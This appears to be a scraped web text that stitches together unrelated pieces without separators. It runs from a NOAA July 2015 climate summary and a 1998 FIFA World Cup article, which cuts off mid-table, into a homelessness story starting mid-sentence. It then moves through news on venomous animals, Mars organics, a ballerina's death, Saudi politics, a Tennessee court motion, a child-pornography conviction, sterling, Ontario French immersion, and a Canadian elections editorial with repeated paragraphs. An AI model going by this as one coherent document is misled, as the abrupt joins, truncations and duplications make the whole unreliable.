The July globally-averaged sea surface temperature was 1.35°F (0.75°C) above the 20th century average. This was the highest temperature for any month in the 1880-2015 record, surpassing the previous record set in July 2014 by 0.13°F (0.07°C). The global value was driven by record warmth across large expanses of the Pacific and Indian Oceans.
The average Arctic sea ice extent for July was 350,000 square miles (9.5 percent) below the 1981-2010 average. This was the eighth smallest July extent since records began in 1979 and largest since 2009, according to analysis by the National Snow and Ice Data Center using data from NOAA and NASA.
Antarctic sea ice during July was 240,000 square miles (3.8 percent) above the 1981-2010 average. This was the fourth largest July Antarctic sea ice extent on record and 140,000 square miles smaller than the record-large July extent of 2014.
Global highlights: Year-to-date (January-July 2015)
– The year-to-date temperature combined across global land and ocean surfaces was 1.53°F (0.85°C) above the 20th century average. This was the highest for January-July in the 1880-2015 record, surpassing the previous record set in 2010 by 0.16°F (0.09°C).
– The year-to-date globally-averaged land surface temperature was 2.41°F (1.34°C) above the 20th century average. This was the highest for January-July in the 1880-2015 record, surpassing the previous record of 2007 by 0.27°F (0.15°C).
– The year-to-date globally-averaged sea surface temperature was 1.21°F (0.67°C) above the 20th century average. This was also the highest for January-July in the 1880-2015 record, surpassing the previous record of 2010 by 0.11°F (0.06°C). Every major ocean basin observed record warmth in some areas.
Read more from NOAA1998 FIFA World Cup Coupe du Monde – France 98 1998 FIFA World Cup official logo Tournament details Host country France Dates 10 June – 12 July (33 days) Teams 32 (from 5 confederations) Venue(s) 10 (in 10 host cities) Final positions Champions France (1st title) Runners-up Brazil Third place Croatia Fourth place Netherlands Tournament statistics Matches played 64 Goals scored 171 (2.67 per match) Attendance 2,784,687 (43,511 per match) Top scorer(s) Davor Šuker (6 goals) Best player(s) Ronaldo Best young player Michael Owen Best goalkeeper Fabien Barthez Fair play award England
France 1994 2002 →
The 1998 FIFA World Cup was the 16th FIFA World Cup, the world championship for men's national association football teams. It was held in France from 10 June to 12 July 1998. The country was chosen as the host nation by FIFA for the second time in the history of the tournament, defeating Morocco in the bidding process. It was the second time that France staged the competition (the first was in 1938) and the ninth time that it was held in Europe.
Qualification for the finals began in March 1996 and concluded in November 1997. For the first time in the competition, the group stage was expanded from 24 teams to 32, with eight groups of four. 64 matches were played in 10 stadiums in 10 host cities, with the opening match and final staged at the Stade de France, Saint-Denis.
The tournament was won by host country France, who beat defending champions Brazil 3–0 in the final. France won their first title, becoming the seventh nation to win a World Cup, and the sixth (after Uruguay, Italy, England, West Germany and Argentina) to win the tournament on home soil. Croatia, Jamaica, Japan and South Africa made their first appearances in the finals.
Host selection [ edit ]
France was awarded the 1998 World Cup on 2 July 1992 by the executive committee of FIFA during a general meeting in Zürich, Switzerland. They defeated Morocco by 12 votes to 7.[1][2] Switzerland withdrew, due to being unable to meet FIFA's requirements. This made France the third country to host two World Cups, after Mexico and Italy in 1986 and 1990 respectively. France previously hosted the third edition of the World Cup in 1938. England, who hosted the competition in 1966 and won it, were among the original applicants, but later withdrew their application in favour of an ultimately successful bid to host UEFA Euro 1996.
Voting results[3] Country Round 1 12 7
Bribery and corruption investigations [ edit ]
On 4 June 2015, while co-operating with the FBI and the Swiss authorities, Chuck Blazer confirmed that he and other members of FIFA's executive committee were bribed during the 1998 and 2010 World Cups host selection process. Blazer stated that "we facilitated bribes in conjunction with the selection of the host nation for the 1998 World Cup". Since France won the selection process it was initially thought the bribery came from its bid committee. It eventually transpired that the bribe payment was from the failed Moroccan bid.[4][5][6]
Qualification [ edit ]
The qualification draw for the 1998 World Cup finals took place in the Musée du Louvre, Paris on 12 December 1995.[7] As tournament hosts, France was exempt from the draw as was defending champion Brazil. 174 teams from six confederations participated, 24 more than in the previous round. Fourteen countries qualified from the European zone (in addition to hosts France). Ten were determined after group play - nine group winners and the best second-placed team; the other eight group runners-up were drawn into pairs of four play-off matches with the winners qualifying for the finals as well.[8] CONMEBOL (South America) and CAF (Africa) were each given five spots in the final tournament, while three spots were contested between 30 CONCACAF members in the North and Central America and the Caribbean zone. The winner of the Oceanian zone advanced to an intercontinental play-off against the runner-up of the Asian play-off, determined by the two best second placed teams.
Four nations qualified for the first time: Croatia, Jamaica, Japan and South Africa. The last team to qualify was Iran by virtue of beating Australia in a two-legged tie on 29 November 1997.[9] This was Team Melli's first appearance in the finals since 1978, the last time Tunisia also qualified for the tournament. Chile qualified for the first time since 1982, after serving a ban that saw them miss out on the two previous tournaments. Paraguay and Denmark returned for the first time since 1986. Austria, England, Scotland and Yugoslavia returned after missing out on the 1994 tournament, with the Balkan team now appearing under the name of FR Yugoslavia. Among the teams who failed to qualify were two-time winners Uruguay (for the second successive tournament); Sweden, who finished third in 1994; Russia (who failed to qualify for the first time since 1978 after losing to Italy in the play-off round); and the Republic of Ireland, who had qualified for the previous two tournaments.[10] As of 2018, this is the most recent time Austria, Scotland, Norway, Bulgaria, Romania, and Jamaica have qualified for a FIFA World Cup finals, as well as the last time Portugal missed out. The highest ranked team not to qualify was Czech Republic (ranked 3rd), while the lowest ranked team that did qualify was Nigeria (ranked 74th).
List of qualified teams [ edit ]
The following 32 teams, shown with final pre-tournament rankings,[11] qualified for the final tournament.
Venues [ edit ]
France's bid to host the World Cup centered on a national stadium with 80,000 seats and nine other stadiums located across the country. When the finals were originally awarded in July 1992, none of the regional club grounds were of a capacity meeting FIFA's requirements – namely being able to safely seat 40,000. The proposed national stadium, colloquially referred to as the 'Grand stade' met with controversy at every stage of planning; the stadium's location was determined by politics, finance and national symbolism. As Mayor of Paris, Jacques Chirac successfully negotiated a deal with Prime Minister Édouard Balladur to bring the Stade de France – as it was named now, to the commune of Saint-Denis just north of the capital city. Construction on the stadium started in December 1995 and was completed after 26 months of work in November 1997 at a cost of ₣2.67 billion.
The choice of stadium locations was drafted from an original list of 14 cities. FIFA and CFO monitored the progress and quality of preparations, culminating in the former providing final checks of the grounds weeks before the tournament commenced. Montpellier was the surprise inclusion from the final list of cities because of its low urban hierarchy in comparison to Strasbourg, who boasted a better hierarchy and success from its local football team, having been taken over by a consortium. Montpellier however was considered ambitious by the selecting panel to host World Cup matches. The local city and regional authories in particular had invested heavily into football the previous two decades and were able to measure economic effects, in terms of jobs as early as in 1997. Some of the venues used for this tournament were also used for the previous World Cup in France in 1938. The Stade Vélodrome in Marseille, the Stade Municipal in Toulouse, the Gerland in Lyon, the Parc Lescure in Bordeaux and the Parc des Princes in Paris received the honour of hosting World Cup matches once again in 1998 as they had all done in 1938.
10 stadiums in total were used for the finals; in addition to nine matches being played at the Stade de France (the most used stadium in the tournament), a further six matches took place in Paris Saint-Germain's Parc des Princes, bringing Paris's total matches hosted to 15. France played four of their seven matches in the national stadium; they also played in the country's second and third largest cities, Marseille (hosting 7 total matches) and Lyon (hosting 6 total matches), as well as a Round of 16 knockout match in the northern city of Lens (also hosting 6 total matches). Nantes, Toulouse, Bordeaux, Montpellier and Saint-Etienne also hosted 6 matches in total; all of the stadiums used also hosted knockout round matches.
Innovations [ edit ]
Technologies [ edit ]
This was the first World Cup where fourth officials used electronic boards, instead of cardboard.[18]
Rule changes [ edit ]
This was the first World Cup since the introduction of golden goals,[18] banning of tackles from behind that endanger the safety of an opponent[19] and allowance of three substitutions per game.[20]
Match officials [ edit ]
34 referees and 33 assistants officiated in the 1998 World Cup.[21] As a result of the extension to 32 teams in the finals, there was an increase of 10 referees and 11 officials from the 1994 World Cup.[21]
Seeds [ edit ]
Squads [ edit ]
As with the preceding tournament, each team's squad for the 1998 World Cup finals consisted of 22 players. Each participating national association had to confirm their final 22-player squad by 1 June 1998.
Out of the 704 players participating in the 1998 World Cup, 447 were signed up with a European club; 90 in Asia, 67 in South America, 61 in Northern and Central America and 37 in Africa.[22] 75 played their club football in England – five more than Italy and Spain. Barcelona of Spain was the club contributing to the most players in the tournament with 13 players on their side.[22]
The average age of all teams was 27 years, 8 months – five months older than the previous tournament. Samuel Eto'o of Cameroon was the youngest player selected in the competition at 17 years, 3 months, while the oldest was Jim Leighton of Scotland at 39 years, 11 months.
Results [ edit ]
Champion Runner-up Third place Fourth place Quarter-finals Round of 16 Group stage
Group stage [ edit ]
All times are Central European Summer Time (UTC+2)
Key for tables Pld = total games played
= total games played W = total games won
= total games won D = total games drawn (tied)
= total games drawn (tied) L = total games lost
= total games lost GF = total goals scored (goals for)
= total goals scored (goals for) GA = total goals conceded (goals against)
= total goals conceded (goals against) GD = goal difference (GF−GA)
= goal difference (GF−GA) Pts = total points accumulated
Group A [ edit ]
Defending champions Brazil won Group A after only two matches as the nation achieved victories over Scotland (2–1) and Morocco (3–0). Heading into the third game, Brazil had nothing to play for but still started its regulars against Norway, who was looking to upset Brazil once again. Needing a victory, Norway overturned a 1–0 deficit with 12 minutes remaining to defeat Brazil 2–1, with Kjetil Rekdal scoring[24] the winning penalty to send Norway into the knockout stage for the first time.
Norway's victory denied Morocco a chance at the Round of 16, despite winning 3–0 against Scotland. It was only Morocco's second ever victory at a World Cup, having recorded its only previous win 12 years earlier on 11 June 1986.
Scotland managed only one point, coming in a 1–1 draw against Norway, and failed to get out of the first round for an eighth time in the FIFA World Cup, a record that stands to this date.
Pos Team Pld W D L GF GA GD Pts Qualification 1 Brazil 3 2 0 1 6 3 +3 6 Advance to knockout stage 2 Norway 3 1 2 0 5 4 +1 5 3 Morocco 3 1 1 1 5 5 0 4 4 Scotland 3 0 1 2 2 6 −4 1
Group B [ edit ]
Italy and Chile progressed to the second round, while Austria failed to score any win for the first time since 1958 and Cameroon failed to get out of the group stage for the second time in a row.
Pos Team Pld W D L GF GA GD Pts Qualification 1 Italy 3 2 1 0 7 3 +4 7 Advance to knockout stage 2 Chile 3 0 3 0 4 4 0 3 3 Austria 3 0 2 1 3 4 −1 2 4 Cameroon 3 0 2 1 2 5 −3 2
Group C [ edit ]
France, the host nation, swept Group C when the start of their path to their first FIFA World Cup trophy culminated with their 2–1 win over Denmark, who despite their loss, progressed to the second round.
Pos Team Pld W D L GF GA GD Pts Qualification 1 France (H) 3 3 0 0 9 1 +8 9 Advance to knockout stage 2 Denmark 3 1 1 1 3 3 0 4 3 South Africa 3 0 2 1 3 6 −3 2 4 Saudi Arabia 3 0 1 2 2 7 −5 1
Group D [ edit ]
Nigeria and Paraguay advanced to the Round of 16 after a surprise elimination of top seed Spain, while Bulgaria failed to repeat their surprise performance from the previous tournament.
Pos Team Pld W D L GF GA GD Pts Qualification 1 Nigeria 3 2 0 1 5 5 0 6 Advance to knockout stage 2 Paraguay 3 1 2 0 3 1 +2 5 3 Spain 3 1 1 1 8 4 +4 4 4 Bulgaria 3 0 1 2 1 7 −6 1
Group E [ edit ]
The Netherlands and Mexico advanced with the same record (The Netherlands placed first on goal difference); Belgium and eventual 2002 FIFA World Cup co-hosts South Korea failed to advance.
Pos Team Pld W D L GF GA GD Pts Qualification 1 Netherlands 3 1 2 0 7 2 +5 5 Advance to knockout stage 2 Mexico 3 1 2 0 7 5 +2 5 3 Belgium 3 0 3 0 3 3 0 3 4 South Korea 3 0 1 2 2 9 −7 1
Group F [ edit ]
Germany and the Federal Republic of Yugoslavia advanced, each with 7 points (Germany took 1st through goal differential tiebreak). Iran and 1994 host United States failed to advance.
Pos Team Pld W D L GF GA GD Pts Qualification 1 Germany 3 2 1 0 6 2 +4 7 Advance to knockout stage 2 FR Yugoslavia 3 2 1 0 4 2 +2 7 3 Iran 3 1 0 2 2 4 −2 3 4 United States 3 0 0 3 1 5 −4 0
Group G [ edit ]
Romania and England became Group G top finishers as Colombia and Tunisia were unable to reach the last 16, despite Colombia having one win.
Pos Team Pld W D L GF GA GD Pts Qualification 1 Romania 3 2 1 0 4 2 +2 7 Advance to knockout stage 2 England 3 2 0 1 5 2 +3 6
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of money,” he said.
Adonis Pollard, 19, became homeless at 15. Today, he’s housed and works as an artist-trainee at Youth Spirit Art.
The proposed Berkeley law “is not going to do any good,” he said. “It’s basically going to finance the prison system. All they’re going to do is get more money per head that comes into the jail cells. There’s still going to be the problem of homelessness. There’s going to be the problem of poverty.”Your browser does not support HTML5 video tag.Click here to view original GIF
Everybody freaks out over the idea of getting bitten by a scorpion or spider — but those are nothing. Our planet contains creatures with much more deadly toxins to defend themselves with. Here are some revealing videos of the most venomous creatures on Earth.
The 5 to 8 in (12-20 cm) long blue-ringed octopodes live in coral reefs and rocky pools on the sea shore of the Pacific and Indian Oceans, from Japan to Australia. These little animals are dangerous enough to kill a human (their venom is 10,000 times more toxic than cyanide), and no antivenom is available. Oh, and the blue rings are only visible when the octopus is about to attack.
The inland taipan (also known as the fierce snake), the most venomous snake in the world, lives in Central East Australia. Its single bite has enough venom to kill about 100 adults within 45 minutes.
The sea wasp (Chironex fleckeri), can be found in coastal waters from Australia to Vietnam. It can measure up to 8 in (20 cm) with tentacles up to 10 ft (3 m) in length. The sea wasp is often described as the most lethal jellyfish, but it has caused only around 63 deaths in Australia (between 1884 and 1996), because most encounters result in mild envenomation.
Stonefish, one of the most venomous fish in the world, found in the Indo-Pacific region. It’s easy to step on in Australian beaches (it can survive for up to 24 hours without water) or coastal waters, at which point its spines can send the potentially lethal venom into the foot.
Brazilian wandering spiders (or banana spiders), the most venomous of their class, can be found in Central and South America. Despite their reputation, they are using a small quantity of their venom at a time, so only a few bites (2.3 percent, according to this Brazilian study using data from between 1984 and 1996) must be cured with antivenom.
The black mamba, a 2 to 3 m (6.6 ft to 9.8 ft) long snake that lives in sub-Saharan Africa, has a 100 percent mortality rate within 7-15 hours if not treated immediately with an effective antivenom.Two trademarks filed by Nintendo suggest the half-man, half-fish virtual pet Seaman could be getting a revival, according to Japanese blog Esuteru.
In Japan, Nintendo has registered trademarks for "Mysterious Pet: Legend of the Fish With A Human Face" and "Mysterious Partner: Legend of the Fish With A Human Face," both of which point to developer Vivarium's games starring the infamous creature. Current rumors point to the possible new game being released for the Nintendo 3DS.
In 2010, Seaman creator Yoot Saito teased via Twitter that he was working on something related to Seaman. In early 2012, Japanese publication Nikkei reported Nintendo was involved in rebooting the series.
Seaman originally launched for the Sega Dreamcast in July 1999 in Japan and the following year in North America. The game was ported to PlayStation 2 in Japan in 2001. A sequel, Seaman 2, was released for PlayStation 2 in 2007. In the games, players were tasked with caring for their Seaman fish, which sports a human face based on Saito's own image. The original game's English version was narrated by Leonard Nimoy and emphasized use of the Dreamcast's microphone peripheral.Reuters - NASA’s Mars rover Curiosity has found carbon-containing compounds in samples drilled out of an ancient rock, the first definitive detection of organics on the surface of Earth’s neighbor planet, scientists said on Tuesday.
The rover also found spurts of methane gas in the atmosphere, a chemical that on Earth is strongly tied to life. Additional studies, which may be beyond the rover’s capabilities, are needed to determine if the organic compounds and/or the methane gas were produced by past or present life on Mars or if they stem from geochemical processes.
“We have had a major discovery. We have found organics on Mars,” Curiosity lead scientist John Grotzinger, with the California Institute of Technology in Pasadena, Calif., said during a webcast press conference at a science meeting in San Francisco.
“The probability of any of these things being sources (from life)... we just have to respect that it is a possibility,” he added.
Curiosity picked up hints of organics in its earliest chemical analysis of rocks in Gale Crater, a 96-mile (154-km) wide impact basin where the rover made a sky-crane landing in August 2012.
Last week, scientists published research showing the crater was once filled with water, with sediments building up over time to form three-mile (5-km) high Mount Sharp, which rises from the basin’s floor.
Shortly after Curiosity landed, it found that the planet most like Earth in the solar system had the right chemical ingredients and environmental conditions to support microbial life, fulfilling the primary goal of the mission.
The methane detections were a big surprise, said Curiosity co-investigator Chris Webster, with NASA Jet Propulsion Laboratory in Pasadena, Calif.
A year ago, scientists reported that after eight months of searching, Curiosity had found no detectable methane in the atmosphere around Gale Crater.
The rover continued to take air samples and in November 2013 it hit pay dirt with a methane spike 10 times higher than background levels. The methane patch remained around the rover for the next 60 days and then vanished.
NASA's Mars rover Curiosity drilled into this rock target, "Cumberland," during the 279th Martian day, or sol, of the rover's work on Mars, on May 19, 2013 and collected a powdered sample of material from the rock's interior, in this handout photo provided by NASA. REUTERS/NASA/JPL-Caltech/MSSS/Handout
Curiosity scientist Sushil Atreya, with the University of Michigan, Ann Arbor, told reporters his team suspects the methane was produced somewhere around the rover and then dissipated in the wind.
The methane detections by Curiosity follow a series of observations by Earth-based telescopes and Mars-orbiting spacecraft that found mysterious but fleeting plumes of methane. “We’re really not in a position from these data to say one way or the other what the origin of the methane is,” Atreya said.
“Because we are seeing signals here it’s worth coming back and doing more work,” Grotzinger added. The research was released at the American Geophysical Union conference. The methane study will be published in this week’s issue of the journal Science.Maya Plisetskaya, widely regarded as one of the greatest ballerinas of her time, died Saturday of a heart attack, Rossiya-24 television reported citing Bolshoi Theatre director Vladimir Urin.
MOSCOW (Sputnik) — The 89-year-old Russian dancer passed away in Germany, according to the news outlet.
Russian President Vladimir Putin has offered his condolences to Maya Plisetskaya's relatives and loved ones, as well as admirers of the ballerina's talent.
R.I.P Maya Plisetskaya. The most beautiful swan. pic.twitter.com/zBAAtiEaRj — WalkingStereotype (@AOpaleva) 2 мая 2015
Plisetskaya was born on November 20, 1925 in Moscow. At age 18, she joined the Bolshoi Ballet, soon becoming a leading soloist, and was later proclaimed Prima Ballerina Assoluta by the Soviet government.
In 1947 Plisetskaya performed the role of Odile-Odette in "Swan Lake." It became one of her most acclaimed roles.
Some of her most famous roles included Aurora in Sleeping Beauty, the title role in Carmen Suite, written especially for her.
Over her career Plisetskaya received a great number of awards. Among them are three Orders of Lenin (1967, 1976 and 1985), the title of Hero of Socialist Labor (1985) and People's Artist of the USSR (1959), the Order of the Legion of Honor (France, 1986), and many others.
In 1990 Maya Plisetskaya ended her career as a ballet dancer. Her last performance took place on January 4.
After retiring, Plisetskaya worked as a ballet director, teacher and choreographer.Consider this foreign policy challenge: A Mideast leader undertakes a stunning power play to cement domestic control, carrying out mass arrests without due process and installing loyalists in key ministries. He ratchets up criticism of a regional rival and accuses it of effectively declaring war. And another Mideast leader, while on a visit to the first one’s country, abruptly resigns and doesn’t return home.
If all this were happening in Iran, it’s a fair guess that President Trump, Congress and a host of other voices would react with outrage. In truth, the scenario sums up what’s been happening in Saudi Arabia in the last week under Crown Prince Mohammed bin Salman. And Mr. Trump could not have been more effusive. “I have great confidence in King Salman and the Crown Prince of Saudi Arabia, they know exactly what they are doing,” he tweeted.
There’s a big difference, of course, between Saudi Arabia and Iran; the former is an American ally, the latter an antagonist. But it has not been American practice to give allies a free pass when they’re destabilizing the region, and Saudi policies, both domestic and foreign, have become increasingly aggressive under Crown Prince Mohammed. In addition to his power play, he’s escalated Saudi involvement in Yemen; continued his boycott of Qatar, ostensibly another American ally; and made inflammatory statements about Iran. Saad Hariri, the Lebanese prime minister, resigned a week ago while in the Saudi capital, Riyadh, in circumstances that remain a mystery.
No problem, suggests Mr. Trump, who made clear early on that he would side with the kingdom and its Sunni allies against Shiite-led Iran. But there is a problem: Mr. Trump’s uncritical support of the prince’s behavior is stirring fears of a war with Iran and undermining American interests.Last month a Tennessee judge overseeing a burglary case rejected a pretrial motion in which the prosecution requested that it not be referred to as "the Government" because that term is "derogatory." In the May 22 motion, Assistant District Attorney General Tammy J. Rettig noted with alarm that "it has become commonplace during trials for attorneys for defendants, and especially Mr. [Drew] Justice [the defendant's lawyer], to refer to State's attorneys as 'the Government' repeatedly during trial." Rettig worried that "such a reference is used in a derogatory way and is meant to make the State's attorneys seem oppressive and to inflame the jury." She added that "attempts to make the jury dislike the State's attorney have no place in the courtroom." She therefore urged Williamson County Circuit Court Judge Michael Binkley to bar Justice from using the g-word during the trial and instead refer to her as "General Rettig, the Assistant District Attorney General, Mrs. Rettig, or simply the State of Tennessee."
In his response, Justice argued that such an order would violate the First Amendment. Should Judge Binkley nevertheless see fit to comply with Rettig's request, Justice said, he also should consider a few other speech limits in the interest of avoiding prejudicial terminology:
First, the Defendant no longer wants to be called "the Defendant." This rather archaic term of art, obviously has a fairly negative connotation. It unfairly demeans, and dehumanizes Mr. Donald Powell. The word "defendant" should be banned. At trial, Mr. Powell hereby demands be addressed only by his full name, preceded by the title "Mister." Alternatively, he may be called simply "the Citizen Accused." This latter title sounds more respectable than the criminal "Defendant." The designation "That innocent man" would also be acceptable. Moreover, defense counsel does not wish to be referred to as a "lawyer," or a "defense attorney." Those terms are substantially more prejudicial than probative....Rather, counsel for the Citizen Accused should be referred to primarily as the "Defender of the Innocent." This title seems particularly appropriate, because every Citizen Accused is presumed innocent. Alternatively, counsel would also accept the designation "Guardian of the Realm." Further, the Citizen Accused humbly requests an appropriate military title for his own representative, to match that of the opposing counsel. Whenever addressed by name, the name "Captain Justice" will be appropriate. While less impressive than "General," still, the more humble term seems suitable. After all, the Captain represents only a Citizen Accused, whereas the General represents an entire State. Along these same lines, even the term "defense" does not sound very likeable. The whole idea of being defensive, comes across to most people as suspicious. So to prevent the jury from being unfairly misled by this ancient English terminology, the opposition to the Plaintiff hereby names itself "the Resistance." Obviously, this terminology need only extend throughout the duration of the trial—not to any pre-trial motions. During its heroic struggle against the State, the Resistance goes on the attack, not just the defense.
The good news is not only that Justice triumphed but that even the Government concedes "the Government" has a negative connotation.
[Thanks to Allen St. Pierre for the tip.]After a four-day trial, a federal jury found a St. Louis Park attorney guilty Thursday on five counts of distributing child porn.
Using the pseudonym "Arlobingo," 49-year-old Ian Scot Laurie used a peer-to-peer file sharing program called GigaTribe to distribute videos "depicting the sexual abuse of children," according to the U.S. Attorney's Office.
FBI investigators found Laurie had used his computer at work and home to share the images and chatted with others on the site about his "sexual interest in children."
"The sexual exploitation of children via the internet is a heinous crime," said Assistant U.S. Attorney Kate Buzicky in a statement. "Thanks to the nationwide coordination and painstaking efforts of the FBI investigators, this defendant has been brought to justice."
Laurie previously worked at law firm Laurie and Laurie with his father, Jerry. The practice specializes in employment law and commercial litigation.
Jerry Laurie said his son hasn't worked at the firm — now rebranded as Laurie Law & ADR — since the indictment.
"This situation with my son Ian is a great family tragedy," said Jerry Laurie after the conviction Thursday. "The city and the state has lost a great, brilliant lawyer who we hope to see returned to practice some day and continue to represent the employees of the state of Minnesota and the downtrodden and people who need legal counsel."Sterling up against both dollar and euro after news of potential breakthrough on financial settlement between UK and EU
The pound has climbed to its highest level in almost two months against the dollar amid hopes that progress on Britain’s divorce settlement with the European Union will smooth the way for the start of trade talks.
With fears receding that the UK would leave the EU in March 2019 without a trade deal, currency investors pushed sterling higher against both the dollar and the euro on Wednesday.
An overnight rally on Wall Street was followed by further gains in European trading. The pound was up 0.67% on the day against the dollar at $1.34, and 1.5% up on its low point on Tuesday, before news emerged of a potential breakthrough in the long-running discussions about money between London and Brussels.
How has the Brexit vote affected the economy? November verdict Read more
Some City analysts warned, however, that the pound’s rise would be capped by concerns that the talks could still be derailed in the weeks and months ahead by differences over the amount Britain intends to pay and by the concessions on trade that the EU would be prepared to make.
Jordan Hiscott, chief trader at ayondo markets, said: “The negotiations are yet to be officially agreed, and I suspect many hard Brexit advocates from the Conservative party will baulk at the idea of paying the €60bn, with the possibility of further remunerations at a later stage, rumoured to be £80bn-£90bn.”
The rise in the value of the pound, if sustained, would lead to cheaper imports and lower inflation, but would make UK exports less competitive.
Despite sterling’s jump over the past two days, it remained well below the highpoint for 2017 of $1.3659, which it hit in late September, and more than 11% below the $1.50 level at which is was trading before the JEU referendum in June last year.
Stephen Gallo, European head of foreign exchange strategy at BMO Financial Group in London, said further progress on trade and a transition deal could push sterling to $1.40 over the next six to 12 months.A GTA school board is poised to decide Tuesday night whether it will begin phasing out French immersion, citing “a French teacher staffing crisis” across Ontario and despite objections from many parents. A committee report released earlier this month and endorsed by staff at Halton Catholic District School Board called for ending the program, even as demand has been steadily rising for French education options throughout the region.
Education Minister Mitzie Hunter has said the ministry is taking steps to rectify the French teacher shortage, including recruiting qualified French teachers from abroad and attracting French-speaking candidates to teachers’ college. ( Rob Beintema / Metroland File Photo )
But some parents haven’t given up hope that trustees may opt to keep the early immersion pilot, especially in the wake of recent promises by Education Minister Mitzie Hunter to take immediate steps to address the teacher shortage. “We’re really, really hoping that they make the choice to reject the recommendation and put the kids first,” said Cheryl Neves, who has daughters in Grades 3 and 1 in French immersion at St. Brigid Catholic Elementary School in Georgetown. As a graduate of French immersion herself who now teaches it in another board, Neves says she has experienced the benefits first-hand and thinks all students should have the opportunity.
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“It’s frustrating to see that neighbouring boards can make it work,” said Neves, who was one of 17 delegates to appear at a board meeting earlier this month to try to convince the board to keep the program. “I know there are challenges,” she said. “But how is it other boards are expanding?” she added, referring to the Toronto Catholic District School Board, which added five new elementary French immersion sites this year and one high school. Under Halton’s controversial plan, staff have called for a gradual phase-out of the program, which is in its fifth year and has 821 students enrolled at four elementary schools who started in Grade 1. If approved, all children currently in Grades 1 to 5 would be able to continue the program through Grade 8. The extended French program, which starts in Grade 5 and has run for 30 years, will continue. It currently includes 1,623 of the board’s 34,000 students. The staff shortage has affected the board’s ability to deliver those two programs as well as core French classes for all other students, Anna Prkacin, superintendent of education and curriculum services, said in an email.
For example, there are times when an English-speaking teacher is assigned to a French class until a qualified teacher is hired, she said. “We believe that programming decisions may be revisited once the (French) staffing crisis has been resolved.”
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But advocates for French-language education like Betty Gormley warn the Halton Catholic board is acting too soon in an era of record-high immersion and extended French enrolment across the province. Ending immersion “would be a travesty” in the face of rising demand, solid research on its benefits, and the education minister’s recent promise to combat teacher shortage, says Gormley, executive director of Canadian Parents for French (Ontario). At a symposium hosted by the group last month, Hunter said the ministry’s plans include: recruiting qualified French teachers from abroad; introducing measures to attract more French-speaking candidates to teachers’ college; and a piloting program that provides financial assistance to teachers who want to boost their French qualifications. Responding to a question from a Halton Catholic parent in the audience, Hunter said it’s important that board be aware of those steps “so they don’t make a decision that they don’t have to make.” The 2016 annual employment survey by the Ontario College of Teachers showed full employment has become the norm for those qualified to teach French, who have been snapped up over the last three or four years and “maintain their strong competitive advantages over English-language teachers.” It predicted boards will experience greater “teacher recruitment challenges,” partly as a result of the lower rate of graduates since teachers college was extended from one year to two years beginning in 2015-2016. But Oakville parent Dalyce Bergeron said she doesn’t believe the board has given the program a fair shot or tried to creatively recruit, and that maintaining it as a pilot has likely deterred teachers who want security. Bergeron, who has a son in Grade 3 in French immersion at St. Mary Catholic Elementary School and twins in kindergarten she had been planning to enroll, says they are among many families who, when forced to choose between a French or Catholic education will pull their kids from the board. In Toronto, the Catholic board is trying to avoid putting families in that kind of dilemma despite a French immersion wait list that was in the hundreds after the application deadline early last year. To meet steadily growing demand, the board added immersion at five elementary sites and one high school this fall, making it available at a total of 14 elementary schools and two high schools. The board plans to provide immersion, which starts in junior kindergarten, at two more schools next fall. Boards across Ontario are coping with demand and teacher supply in different ways, with a number reviewing their programs and making changes. The Halton public board, for example, now starts immersion in Grade 2 rather than Grade 1. The Toronto District School Board provides French immersion to all students whose applications meet the deadline, though not necessarily in their catchment area, whereas the Peel District School Board caps French immersion to 25 per cent of students enrolled in Grade 1, chosen through random selection.Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
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The law will also revamp campaign-financing rules so individuals can donate more and parties can exempt the costs of raising money from people who have donated before. It also creates new offences, and stiffer penalties, for anyone caught breaking election laws.
The new legislation is full of changes to the electoral landscape. It removes powers from the office of the chief electoral officer and gives them to a new independent commissioner of elections, who will now be solely responsible for investigating electoral transgressions.
Many others who witnessed the Tory government's assault on Elections Canada had much more trouble hiding their disbelief.
You have to admire Pierre Poilievre. Throughout the tabling of the laughable, lamentable Fair Elections Act, the minister of democratic reform managed somehow to keep a straight face.
Hey there, time traveller! This article was published 6/2/2014 (1846 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 6/2/2014 (1846 days ago), so information in it may no longer be current.
You have to admire Pierre Poilievre. Throughout the tabling of the laughable, lamentable Fair Elections Act, the minister of democratic reform managed somehow to keep a straight face.
Many others who witnessed the Tory government's assault on Elections Canada had much more trouble hiding their disbelief.
The new legislation is full of changes to the electoral landscape. It removes powers from the office of the chief electoral officer and gives them to a new independent commissioner of elections, who will now be solely responsible for investigating electoral transgressions.
The law will also revamp campaign-financing rules so individuals can donate more and parties can exempt the costs of raising money from people who have donated before. It also creates new offences, and stiffer penalties, for anyone caught breaking election laws.
And, in one of the more intriguing aspects of the new law, Elections Canada will no longer be permitted to encourage Canadians to vote.
The Conservative government will work hard to convince Canadians this is a simple modernization of electoral law designed to level the playing field. That is a horrible misrepresentation of what is going on here.
Without a blush of shame, the Tories moved to administratively castrate one of their foremost opponents in the public service, chief electoral officer Marc Mayrand, who has repeatedly clashed with the Tories over a variety of violations of election law.
Mayrand dogged the Tories for the "in and out" scheme in the 2006 election, where money was moved back and forth between local ridings to exceed total campaign spending. The Tories pleaded guilty to this offence in 2012.
Mayrand has also chased the "robocall" scandal, in which fraudulent, automated phone calls were made to suppress voter turnout. One Tory campaign worker will be tried for offences this summer as Mayrand continues his probe into other suspected cases.
In the past, Mayrand appointed the commissioner of elections to perform investigations. Now the government of the day will do that directly. Taking that task away from a public servant who has more than proven his independence is more than enough to justify concern about the new commissioner's independence. In fact, this concern really makes the stiffer penalties in the new act a joke. How can a less powerful watchdog make full use of more powerful penalties?
This is an obvious attack on Mayrand and something that was nearly unthinkable in Canadian political tradition. The Tories believe Mayrand treated them unfairly and feel justified in using the Commons to neutralize him. That is an attack on electoral fairness from a government that, while not alone in its misdeeds, has certainly led the league in electoral crimes.
Watchdogs are not to be trifled with. In a democratic tradition, any political party that thinks it is being treated unfairly by a watchdog can go to the courts and make its case. The Tories have done that and lost.
Taken together, this looks like a law destined to lower what is already a chronically low voter turnout.
How else can we view the decision to stop Elections Canada from putting some effort into encouraging Canadians to vote? It is true these campaigns have not been hugely successful in raising voter turnout. However, a government campaign to encourage voting is an entirely more appropriate use of taxpayer money than, say, a campaign to promote a federal budget.
